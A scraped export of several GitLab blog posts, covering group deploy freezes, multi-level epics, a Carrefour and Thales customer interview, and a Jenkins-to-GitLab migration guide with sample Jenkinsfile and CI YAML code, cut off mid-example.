timed based on your organization's preferred time zone.\n\n### Getting started\n\nTo use GitLab CI to author and automate the process of batch updating deploy freezes for all projects, fork the [Deploy Freeze project](https://gitlab.com/cnnachi-demo/freezeperiods), which will then create a CI/CD pipeline that iterates through your projects and applies the desired deploy freeze schedule. You can customize this project to fit your organization's workflow.\n\nThe provided project contains a `.gitlab-ci.yml` file and a Python script designed to automate the management of deploy freezes for multiple projects within a GitLab group. It uses the GitLab API and various Python libraries to create and delete deploy freeze periods, and is designed to be run as part of a CI/CD pipeline to ensure code stability during deployments within a GitLab group.\n\n### Commit and push changes\n\nCommit and push the changes to your repository to trigger the CI/CD pipeline.\n\n### Pipeline execution\n\n- In the [Group Deploy Freeze project](https://gitlab.com/demos/solutions/group-deploy-freeze) on the GitLab UI, go to Pipelines.\n- Select the \"Run Pipeline\" option on the top right corner of the page.\n- You should see the variables defined in the `.gitlab-ci.yml` file like:\n![Set variables](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676891/Blog/Content%20Images/Screenshot-2023-09-06-at-12-08-48-PM.png)\n- Define the values of the variables `FREEZE_START`, `FREEZE_END`, `CRON_TIME_ZONE` and `GROUP_SLUG`, then run the pipeline. You can define multiple freeze periods by skipping to the next line within the `FREEZE_START` and `FREEZE_END` variables.\n- Once the pipeline is successful, the freeze period should be populated in all projects within the defined groups.\n\n## Monitor and verify\n\n- Verify that these deploy freeze periods are being created and managed as intended.\n- Check your GitLab group's projects for deploy freezes during the specified periods.\n![Monitor and verify](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676891/Blog/Content%20Images/Screenshot-2023-09-12-at-2-08-24-PM.png)\n\n## Customization and iteration\n\n- If needed, iterate on the configuration, script, or pipeline based on your organization's requirements.\n- Make adjustments to freeze periods, time zones, project details, or other settings as needed.\n\nYou can optimize the group deploy feature by following the [Deploy freeze](https://docs.gitlab.com/ee/user/project/releases/index.html#prevent-unintentional-releases-by-setting-a-deploy-freeze) documentation, which outlines the steps to set up a `.freezedeployment` job that can conditionally block deployment jobs upon the presence of the `CI_DEPLOY_FREEZE` variable. By including the `.freezedeployment` template and extending it in your project's `.gitlab-ci.yml file`, you can prevent deployments during freeze periods, ensuring code stability. Manual deployment intervention is possible once the freeze period ends, allowing for controlled and predictable deployment processes across the group's projects.\n\n## Results\n\nBy extending deploy freezes to the group level, teams can easily streamline and enhance their deployment strategies to ensure consistency in preventing unintended production release during a period of time specified by you, whether it is a large company event or holiday. With the power of GitLab's API, CI/CD pipelines, and the flexibility of Python scripting, Group Deploy Freeze is your ally in maintaining code stability and predictability across diverse projects.\n\n> Get started with group deploy freezes today by visiting the [Group Deploy Freeze project](https://gitlab.com/cnnachi-demo/freezeperiods).",[110,695,6962,696],"production",{"slug":6964,"featured":6,"template":678},"ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups","content:en-us:blog:ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups.yml","Ci Cd Automation Maximize Deploy Freeze Impact Across Gitlab Groups","en-us/blog/ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups.yml","en-us/blog/ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups",{"_path":6970,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6971,"content":6977,"config":6982,"_id":6985,"_type":16,"title":6986,"_source":17,"_file":6987,"_stem":6988,"_extension":20},"/en-us/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7",{"title":6972,"description":6973,"ogTitle":6972,"ogDescription":6973,"config":6974,"ogImage":3431,"ogUrl":6975,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6975,"schema":6976},"GitLab Security Release: 16.8.2, 16.7.5, 16.6.7","Learn more about GitLab Security Release: 16.8.2, 16.7.5, 16.6.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.8.2, 16.7.5, 16.6.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-02-07\",\n      }",{"title":6972,"description":6973,"authors":6978,"heroImage":3431,"date":6979,"body":6980,"category":674,"tags":6981},[2890],"2024-02-07","[GitLab Security Release: 16.8.2, 16.7.5, 16.6.7](https://about.gitlab.com/releases/2024/02/07/security-release-gitlab-16-8-2-released/)",[674,1464],{"slug":6983,"featured":6,"template":678,"externalUrl":6984},"gitlab-security-release-16-8-2-16-7-5-16-6-7","https://about.gitlab.com/releases/2024/02/07/security-release-gitlab-16-8-2-released/","content:en-us:blog:gitlab-security-release-16-8-2-16-7-5-16-6-7.yml","Gitlab Security Release 16 8 2 16 7 5 16 6 7","en-us/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7.yml","en-us/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7",{"_path":6990,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6991,"content":6997,"config":7002,"_id":7004,"_type":16,"title":7005,"_source":17,"_file":7006,"_stem":7007,"_extension":20},"/en-us/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management",{"title":6992,"description":6993,"ogTitle":6992,"ogDescription":6993,"noIndex":6,"ogImage":6994,"ogUrl":6995,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6995,"schema":6996},"Unlocking Agile excellence: GitLab Epics for seamless portfolio management","Explore how GitLab's multi-level epics revolutionize Agile portfolio management, offering a structured yet flexible approach for strategic planning and efficient execution.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098713/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750098713577.png","https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unlocking Agile excellence: GitLab Epics for seamless portfolio management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"},{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"}],\n        \"datePublished\": \"2024-02-06\",\n      }",{"title":6992,"description":6993,"authors":6998,"heroImage":6994,"date":6999,"body":7000,"category":1897,"tags":7001},[1894,5555],"2024-02-06","Effective portfolio management is crucial for the success of organizations in the ever-evolving landscape of software development. Placing the right bets, optimally allocating resources, and mitigating risks are all required for effectively executing on your business strategy.\n\nGitLab's portfolio management capabilities offer a structured yet flexible approach for connecting strategy to execution. In this blog post, we'll explore the advantages of GitLab's multi-level epics and their pivotal role in Agile portfolio management.\n\n## Understanding GitLab's multi-level epics\nGitLab's multi-level epics allow organizations to organize their work in a hierarchical structure, providing a clear and detailed view of projects and their interdependencies so that teams can make informed decisions, anticipate potential challenges, and streamline their workflows for enhanced efficiency and successful project delivery. Unlike other tools, GitLab allows nesting epics up to seven layers deep across different groups and projects, enabling efficient cross-functional coordination.\n\n![epics portfolio management - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098727863.png)\n\n## Advantages of multi-level epics in portfolio management\n\nThe following are four advantages of multi-level epics in portfolio management.\n\n### 1. Flexible compatibility with Agile frameworks\n\nEpics seamlessly adapt to various scaled Agile frameworks, allowing teams to adjust GitLab to your preferred way of working. Multi-level epics offer a flexible construct to represent different higher-level planning work items with minimal configuration required. This adaptability means teams can efficiently use GitLab for product planning workflows without the need for extensive setup so that they can focus more of their time on strategic planning and less on configuring tools.\n\n### 2. Granular work breakdown\n\nGitLab's multi-level epics enable organizations to break down intricate projects into smaller, manageable components so that teams can identify smaller iterations, allowing for the faster and more frequent delivery of tangible user value. Higher-level epics provide a strategic overview that can span multiple years, while epics closer to deliverables can typically be completed in a handful of sprints. Epics can be broken down into issues and tasks to tie strategic objectives to more tactical deliverables.\n\n![epics portfolio management - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098727864.png)\n\n### 3. Real-time visibility and collaboration\n\nGitLab epics offer real-time visibility into progress, promoting effective team collaboration. GitLab offers unparalleled traceability, with automatic epic progress updates based on downstream DevSecOps activity for connected work items, allowing stakeholders to make informed decisions based on the most up-to-date information, allocate resources effectively, and maintain a proactive approach to managing product timelines.\n\n![epics portfolio management - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098727866.png)\n\n### 4. Cross-team planning\n\nMulti-level epics facilitate efficient planning across multiple teams by providing a centralized view of work breakdown and dependencies from teams across your organization, ensuring cohesive collaboration and alignment of efforts. All information for your organization's Agile planning processes and execution of the work lives within a single tool, providing the shared context of how a team's work relates to higher-level strategy.\n\n![epics portfolio management - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098727871.png)\n\nGitLab’s portfolio management tools, including multi-level epics, ensure that strategic planning aligns seamlessly with the execution of projects, allowing teams to navigate the complexities of software development with precision, efficiency, and a clear focus on overarching business goals.\n\nReady to harness the full potential of GitLab's multi-level epics and elevate your portfolio management experience? Explore our subscription options on our [pricing page](https://about.gitlab.com/pricing/), and unlock a host of powerful features designed to fuel collaboration, enhance transparency, and propel your projects toward success.",[1899,943,479],{"slug":7003,"featured":92,"template":678},"unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management","content:en-us:blog:unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management.yml","Unlocking Agile Excellence Gitlab Epics For Seamless Portfolio Management","en-us/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management.yml","en-us/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management",{"_path":7009,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7010,"content":7016,"config":7022,"_id":7024,"_type":16,"title":7025,"_source":17,"_file":7026,"_stem":7027,"_extension":20},"/en-us/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms",{"title":7011,"description":7012,"ogTitle":7011,"ogDescription":7012,"noIndex":6,"ogImage":7013,"ogUrl":7014,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7014,"schema":7015},"How Carrefour and Thales are evolving their CI/CD platforms","Learn how a large retailer and an aerospace and defense company are using GitLab to evolve their CI/CD platforms to increase developer productivity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662061/Blog/Hero%20Images/cicdcover.png","https://about.gitlab.com/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Carrefour and Thales are evolving their CI/CD platforms\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kristina Weis\"}],\n        \"datePublished\": \"2024-02-05\",\n      }",{"title":7011,"description":7012,"authors":7017,"heroImage":7013,"date":7019,"body":7020,"category":2702,"tags":7021},[7018],"Kristina Weis","2024-02-05","An efficient and secure CI/CD platform can be especially critical for some organizations — say, a large multinational retailer or an aerospace and defense company. Fortunately, Samuel Le Garec, a technical architect from Carrefour, and Jordan Dubié, Chief Product Owner for the software engineering environment at Thales, joined GitLab for a roundtable discussion at our [DevSecOps World Tour](https://about.gitlab.com/events/devsecops-world-tour/) stop in Paris. They shared their experiences and lessons learned from building CI/CD platforms for thousands of developers, and improving productivity and security along the way.\n\nHere are some of the highlights from their conversation.\n\n**Can you tell me about yourselves and your team?**\n\nDubié: I am the Chief Product Owner of the software factory, which is the software development environment of the Thales Group. [Thales](https://www.thalesgroup.com/en) is a French industrial group that operates in the aerospace, defense, security, and digital identity sectors. Thales is 80,000 people, including 30,000 engineers, specifically 15,000 software engineers. \n\nToday, our team is a little less than 50 people. We also do the build and the run and have a part, therefore, in 24-7 support, following the sun. We have different instances, and we have domains of different sensitivity. So we have several platforms, all self-hosted. On each of these platforms, we deploy the entire environment of the software factory. We also run a part of it, and then we are supported by other teams who take over these activities.\n\nLe Garec: I am an architect at [Carrefour](https://www.carrefour.com/en). I’m responsible for the engineering platform within the software factory and implementing the CI/CD platforms for the development teams. We have between 1,000 and 1,500 developers, so they commit like crazy. Today, I have a team of about 15 people. Our primary focus is to evolve the CI/CD platform, operate it, and manage incidents. We do that 24-7 today. We work mainly for the IT department in France. Then, I have other people who set up all the CI/CD templating and blueprints, the goal being to speed up the project as much as possible.\n\n**Can you share some numbers to give us a sense for the scale of GitLab in your organization?**\n\nDubié: Since we’ve been using GitLab, we’re at 30,000 projects, 70,000 issues, and 280,000 merge requests.\n\nLe Garec: At Carrefour, I think we have less GitLab experience than Jordan since we got our GitLab subscription at the beginning of the year. We have over 10,000 projects today on our CI/CD platform and then many pipeline executions, builds, and deployments that are as automated as possible. And we have 100,000 commits per month, to give you an idea of our activity.\n\n**What was it like before GitLab?**\n\nDubié: It was a very heterogeneous environment. We had all these different business entities, each with their own IT teams that were on site. I was in Toulouse, but there was an entity in Bordeaux, as well. The different environments in Bordeaux, Toulouse, Valence, and Paris were completely separate platforms. That was a major obstacle to collaboration in the group. We had all these heterogeneous platforms with tools that, most of the time, hadn’t been updated in three to four years. So, in terms of functionality, we were far behind the market's state of the art.\n\nLe Garec: We were deploying many different tools. We realized that maintaining our platform was becoming more and more complicated as the maturity of the development teams increased. They always asked us for more tools, and we reached a point where we couldn’t afford to do it anymore. That’s when we thought about an all-in-one solution. And that’s when we chose GitLab.\n\n**Is GitLab new for you? What are your initial goals?**\n\nLe Garec: GitLab is new for us — we started using it in April of this year. We are using GitLab Ultimate SaaS. Our goal is to use as many GitLab Ultimate features as possible. Our plan for the first two or three years is to migrate our source code to GitLab. So far, we’ve managed to move off of Bitbucket. Our next goal is to get rid of Jenkins and move to GitLab CI.\n\n> Learn [how to migrate from Jenkins to GitLab](https://about.gitlab.com/blog/jenkins-to-gitlab-migration-made-easy/).\n\n**How has GitLab helped to improve the speed and quality of your delivery processes?**\n\nDubié: We bet everything on automation. We go all out on everything that can support CI/CD so that developers can get feedback as quickly as possible. We also use SAST, DAST, secret detection, and software composition analysis.\n\nOne thing that was important for us was autonomy. We try to give our developers as much autonomy as possible so that people can create their own group projects. It seems very simple, but in the previous platform with Bitbucket, you had to go through tickets to have that; it was not in the hands of the developers. Today, there is much more autonomy, which allows them to go faster.\n\nWe also benefit from common, shared features; the shared runners, for example, are something we appreciate. We are already working on them because they will add a lot of value for developers who today have difficulties having a development environment that meets their expectations.\n\n**How would you describe an ideal software delivery process with GitLab?**\n\nLe Garec: For me, an almost ideal delivery process is full automation with everything automated — the build, the test, the releases, the versioning, and the deployment, using deployment techniques such as canary deployments and feature flags. For me, that’s something we want and need to go to, at Carrefour at least.\n\n**What are the reactions of the users or developers using GitLab?**\n\nLe Garec: They are pleased. One of the reasons we went to GitLab was the lack of features we had on Bitbucket. Bitbucket had some features, but every time you have to add plugins, it’s paid every time. It’s annoying. So that’s why we went to GitLab and the whole set of features that GitLab offers. It pleases the users to have a homogeneous platform where they don’t have to change tools every five minutes. It improves their productivity, and we have fewer incidents.\n\n*Editor's note: This blog post is based on an edited version of the session transcript that was translated from French.*\n",[110,2705,943],{"slug":7023,"featured":92,"template":678},"how-carrefour-and-thales-are-evolving-their-ci-cd-platforms","content:en-us:blog:how-carrefour-and-thales-are-evolving-their-ci-cd-platforms.yml","How Carrefour And Thales Are Evolving Their Ci Cd Platforms","en-us/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms.yml","en-us/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms",{"_path":7029,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7030,"content":7035,"config":7040,"_id":7042,"_type":16,"title":7043,"_source":17,"_file":7044,"_stem":7045,"_extension":20},"/en-us/blog/jenkins-to-gitlab-migration-made-easy",{"title":7031,"description":7032,"ogTitle":7031,"ogDescription":7032,"noIndex":6,"ogImage":6816,"ogUrl":7033,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7033,"schema":7034},"Jenkins-to-GitLab migration made easy","Learn why and how to migrate from Jenkins to GitLab with ease by following this step-by-step guide.","https://about.gitlab.com/blog/jenkins-to-gitlab-migration-made-easy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Jenkins-to-GitLab migration made easy\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-01\",\n      }",{"title":7031,"description":7032,"authors":7036,"heroImage":6816,"date":7037,"body":7038,"category":962,"tags":7039},[1622],"2024-02-01","GitLab is the most comprehensive AI-powered DevSecOps platform. This means that GitLab provides everything needed to plan, develop, and deliver secure software faster, all within one tool.\n\nPlatforms take away the pains and struggles of integrating various tools (DIY DevOps) to enable the software development lifecycle (SDLC). Since Jenkins is not a platform, additional tools are required to complete the SDLC. This DIY DevOps approach introduces toolchain complexity, which creates the following drawbacks:\n\n- Custom support is required for the integration and orchestration of tools\n- Difficulty maintaining/upgrading/securing separate tools\n- Inefficiency in measuring organizational transformation\n- Poor developer experience\n- Additional management/time/budget costs\n- Loss of productivity\n- Context switching and collaboration inefficiencies\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175993/Blog/ikr97sr9jclddeqdg7ew.png\" alt=\"Import project selection\">\n   \u003Cfigcaption>DIY DevOps vs. DevSecOps Platform\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nFor these reasons, many Jenkins teams are considering migrating to a DevSecOps platform. If you are looking for a more powerful, reliable, and secure solution, GitLab is your best option! GitLab is free to get started with and offers different subscription tiers based on the needs of your organization. To learn more about our offerings and features, check out our [pricing page](https://about.gitlab.com/pricing/).\n\nIn this blog, you will learn:\n- How to plan for a migration\n- How to migrate repositories from other source code management (SCM) tools to GitLab\n- How to migrate CI/CD pipelines from Jenkins to GitLab\n- Additional migration considerations\n\n### Planning for a migration\n\nBefore starting a migration from another tool to GitLab CI/CD, you should begin by developing a migration plan. A migration plan is an important technical step for setting expectations. CI/CD tools differ in approach, structure, and technical specifics, meaning that migrations are not just 1:1 mappings of data. A migration plan will provide the following benefits:\n- Sets and communicates a clear vision of what your migration goals are, which helps your users understand why the effort is worth it. The value is clear when the work is done, but people need to be aware while it’s in progress too.\n- Provides sponsorship and alignment from the relevant leadership teams helps with the point above.\n- Spends time educating users on what’s different.\n- Finds ways to sequence or delay parts of the migration and prevent non-migrated (or partially migrated) states for too long.\n- Documents advantages of the improvements that GitLab CI/CD offers, and updates your implementation as part of the transition.\n\nA migration plan will allow you to put a process in place where you can slowly migrate to GitLab with minimal disruption. This may include running both Jenkins and GitLab, while certain projects are moved to GitLab and offloaded from Jenkins.\n\n### Defining a change management process\n\nThe migration plan should define an effective change management process. Developers, IT Operations, Cloud Administrators, Security, and Quality Engineers may not have experience with GitLab and they may not know why you or your leadership have decided to move in this direction.\n\nThe people this is impacting need to know:\n- __Why__ the change is being made\n- __What__ the future state looks like\n- __How__ the company intends to get there from here\n- __Where__ to go for more information or help \n\nTo this end, you should consider the following steps to manage change across these functional roles: \n- __Analyze the current state__: Document the current state of processes. Gather metrics as a baseline. Identify what's working and not working with CI/CD by interviewing key team members. Document the challenges you uncover both quantitatively and qualitatively. You’re going to have to sell the vision and reason for the change, so the more clearly you can define the problem set, the easier it will be to gain buy-in from across the business. \n- __Establish a vision__: Now that you have current pain points outlined quantitatively with baseline metrics and qualitatively (in the words of your team members), communicate a vision of the future state. Explain why it's important (tie this to business success metrics). Provide live and recorded demonstrations of what good looks like and compare it to the current state. Reinforce this message through multiple channels and media — chat groups, all-hands meetings, email notifications, banner notifications on GitLab, etc.\n- __Educate the workforce__: Invest in [GitLab CI/CD Training](https://about.gitlab.com/services/education/gitlab-ci/) delivered by a GitLab expert. Measure knowledge acquisition and retention using [GitLab Certifications](https://levelup.gitlab.com/pages/certifications). \n- __Communicate roadmap and resources__: Communicate to your team members the intended timeline, available resources to help them transition, and community resources like chat groups, Q&A boards, or GitLab Influencer office hours so they can ask questions and get help. Bonus points for building a reward system to incentivize teams to transition early and share their experience with their peer application groups!\n\nIf you have these elements in place as you begin this transition, you will have a framework for success. \n\n### Establishing migration goals\nBefore performing a migration, you should have a good understanding of your goals and how to meet them. For example, some questions you should have answers to are as follows:\n- What is your timeline to migrate?\n- How is your Jenkins server currently configured?\n- How many projects must be migrated?\n- What is the complexity of your pipeline?\n- Does it require external dependencies, multiple pipeline triggers, parallel builds, etc.?\n- How/Where do you deploy your code?\n- What is the release/review process for deploying code?\n- Is it integrated into Jenkins, or a separate workflow triggered by Jenkins?\n- Which build artifacts or binaries are required for pipeline success?\n- Which plugins are used by jobs in Jenkins today?\n- Which software is installed on the Jenkins agents?\n- What SCM solution are you currently using?\n- Are there any shared libraries in use within your Jenkins jobs?\n- Which authentication method is used for Jenkins (Basic auth, LDAP/AD, SSO)?\n- Are there other projects that you need to access from your pipeline?\n- Are there credentials in Jenkins used to access outside services?\n\nBy answering these questions you’ll know how to proceed with the migration, how long it will take, and where to start. Once you have built a plan and are confident of the expectations and possible pitfalls, you can begin the migration process.\n\n### Prerequisites for migration\nOnce you have created a migration plan and addressed all the expectations of the migration, you can begin to set up GitLab. Some of the prerequisites suggested for migration are as follows:\n- Get familiar with GitLab. Read about the [key GitLab CI/CD features](https://docs.gitlab.com/ee/ci/index.html).\n- Follow tutorials to create your first [GitLab pipeline](https://docs.gitlab.com/ee/ci/quick_start/index.html) and [more complex pipelines](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html) that build, test, and deploy a static site.\n- Review the [.gitlab-ci.yml keyword reference](https://docs.gitlab.com/ee/ci/yaml/index.html).\n- Set up and configure GitLab.\n- Test your GitLab instance.\n\nOnce you understand GitLab and an instance has been configured, you can work through your migration plan and begin to move projects from Jenkins over to GitLab. Make sure your GitLab instance has been properly set up using GitLab best practices and [reference architectures](https://docs.gitlab.com/ee/administration/reference_architectures/).\n\n### Migrating repositories to GitLab\nOne of the main drawbacks of Jenkins is that it does not provide an SCM solution. If you are using Jenkins, your code must be stored in a separate SCM solution which Jenkins must have access to. Because GitLab has built-in SCM, migrating away from Jenkins also allows you to migrate from the SCM solution you were leveraging, bringing forth an additional reduction in costs.\n\nGitLab provides tools to allow you to easily move your repository and its metadata into GitLab. The following importers are included to assist in migrating your projects to GitLab:\n\n- [GitHub](https://docs.gitlab.com/ee/user/project/import/github.html)\n- [Another GitLab instance](https://docs.gitlab.com/ee/user/project/settings/import_export.html)\n- [Bitbucket Cloud](https://docs.gitlab.com/ee/user/project/import/bitbucket.html)\n- [Bitbucket Server](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html)\n- [FogBugz](https://docs.gitlab.com/ee/user/project/import/fogbugz.html)\n- [Gitea](https://docs.gitlab.com/ee/user/project/import/gitea.html)\n- [Jira (Issues only)](https://docs.gitlab.com/ee/user/project/import/jira.html)\n- [Repo by manifest file](https://docs.gitlab.com/ee/user/project/import/manifest.html)\n- [Repo by URL](https://docs.gitlab.com/ee/user/project/import/repo_by_url.html)\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176002/Blog/ie2xrexhbcoq6m8rnhit.png\" alt=\"GitHub to GitLab Repo Exporter\">\n   \u003Cfigcaption>GitHub to GitLab Repo Exporter\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nEach importer imports different data from a project. Read the [import and migrate projects documentation](https://docs.gitlab.com/ee/user/project/import/) to learn more about the provided importers to see what data is migrated to GitLab. Additionally, you can [automate group and project import](https://docs.gitlab.com/ee/user/project/import/#automate-group-and-project-import) and build a custom solution to further suit the needs of your organization:\n\n- [Professional Services](https://about.gitlab.com/services/)\n- [Migration Utilities](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/docs/using-congregate.md#quick-start)\n- [Frequently Asked Migration Questions](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/famq.md)\n\n### How to migrate a repository\nMigrating a repository to GitLab is easy using our built-in importers. In this example, I’ll show how to copy a repo from GitHub to GitLab along with [its resources](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data) (Issues, Pull Requests, Milestones, etc.). In order to migrate a repository from another GitHub to GitLab, you can follow the steps below:\n\n1. On the left sidebar, at the top, select **Create new (+)**.\n2. Select **New project/repository** under the In GitLab section.\n3. Select **Import project**.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176017/Blog/boowmmaqhbredxa3g92s.png\" alt=\"Import project selection\">\n   \u003Cfigcaption>Import project selection\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n4. Click the **GitHub** button.\n    - If using GitLab self-managed, then you must [enable the GitHub importer](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n    - Note that other importers can be initiated in the same way.\n5. Now you can either:\n    - Authorize with GitHub OAuth: Select **Authorize with GitHub**.\n    - Or, use a GitHub personal access token:\n       - Go to [https://github.com/settings/tokens/new](https://github.com/settings/tokens/new).\n       - In the **Note** field, enter a token description.\n       - Select the repo scope.\n       - Optionally to import collaborators, select the              **read:org** scope.\n       - Click the **Generate token** button.\n       - On the GitLab import page, in the Personal Access Token field, paste the GitHub personal access token.\n6. Click the **Authenticate** button.\n7. Select the items you wish to migrate.\n8. Select the projects you wish to migrate and to where.\n9. Press the **Import** button.\n\nNow you should have the imported project in your workspace. For additional guidance on migrating from GitHub to GitLab you can watch this video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=TQ5HI9aMwtzJMiMi\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nOnce you have completed the repository migration, you can set your Jenkins pipeline to leverage the Jenkinsfile within GitLab. This can be done by setting the repository URL via to your newly imported project via the Jenkin pipeline configuration menu:\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176020/Blog/mu475liw66abcxbu2g6g.png\" alt=\"Jenkins Pipeline SCM settings\">\n   \u003Cfigcaption>Jenkins Pipeline SCM settings\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nThis is useful for the initial repo migration phase and allows you to use both Jenkins and GitLab in parallel, preventing service disruptions while you work on migrating the CI/CD functionality.\n\nAdditionally, you can leverage the [GitLab Jenkins plugin](https://plugins.jenkins.io/gitlab-plugin/) to assist with migration. This plugin allows GitLab to trigger and obtain the status of Jenkins builds.\n\n### Migrating CI/CD pipelines\nOnce you have migrated your repositories to GitLab, you can proceed to migrate your Jenkins pipelines to GitLab. This process can be fairly straightforward, but requires an understanding of both Jenkins and GitLab concepts and syntax.\n\nJenkins provides two different types of syntax for defining pipelines, Declarative and Scripted. In this guide we will be covering migrating from Declarative pipelines since they are the most commonly used.\n\n### Step-by-step pipeline migration\nIn this tutorial we will analyze a Jenkinsfile (Groovy) alongside a GitLab CI/CD configuration file (YAML) that builds, tests, and deploys a microservice written in Golang. We will then proceed to enable the pipeline within GitLab and see its results. The pipeline will:\n\n- Use the golang container image with the **alpine** tag\n- Run a job for building the Golang code into an executable binary\n   - Stores the built executable as an artifact\n- Run a job to run unit tests\n- Run a job to deploy to staging\n   - Only executes if the commit targets the **staging** branch\n   - Starts after the **test** stage succeeds\n   - Uses the built executable artifact from the earlier job\n\nBelow you can see Jenkins and GitLab pipeline definitions along with descriptive comments. You can see the pipeline in action in the [Meow Migration project](https://gitlab.com/gitlab-de/projects/blogs/meow-migration).\n\nLet's take a look at a Jenkinsfile written in Groovy:\n\n```  \n// The top-level of the declarative\n// pipeline.\npipeline {\n\n  // Defines the default agent to use\n  // when it is not explicitly defined\n  // in a job.\n    agent any\n\n  // Defines the stages that will run\n  // in numerical order. Each stage\n  // only runs one job.\n    stages {\n\n    // Defines the name of the stage\n        stage('build') {\n      // Defines the container image to\n      // use for this job, overwriting\n      // the default 'agent any'.\n      // The Jenkins Docker plugin\n      // must be configured for this\n      // to run.\n            agent { docker 'golang:alpine' }\n\n      // Defines the sequence of steps\n      // to execute when the stage is\n      // run.\n            steps {\n                sh 'go build -o bin/meow-micro'\n                sh 'chmod +x bin/meow-micro'\n            }\n\n      // The steps to run after the\n      // stage completes.\n            post {\n              always {\n\n        // Stores the stage artifacts\n        // generated for use in another\n        // job.\n                archiveArtifacts artifacts: 'bin/meow-micro'\n                onlyIfSuccessful: true\n              }\n            }\n        }\n\n    stage('test') {\n            agent { docker 'golang:alpine' }\n            steps {\n                sh 'go test .'\n            }\n        }\n\n        stage('deploy') {\n      // Defines conditions which must\n      // be met in order for the job to\n      // execute. In this case the\n      // deploy job will only run on the \n      // staging branch.\n            when {\n              branch 'staging'\n            }\n            steps {\n                echo 'Deploying meow-micro to staging'\n        // Uses the artifact stored in\n        // the build stage.\n                sh './bin/meow-micro'\n            }\n        }\n    }\n}\n```\n\nNow, let's see how to create the same functionality in GitLab:\n\n```\n# Defines the default image to use\n# when it is not explicitly defined in\n# a job.\ndefault:\n  image: alpine:latest\n\n# Defines the order to run the stages.\n# Each stage can have multiple jobs.\nstages:\n  - build\n  - test\n  - deploy\n\n# Defines the name of the job\ncreate-binary:\n # Defines the stage the job 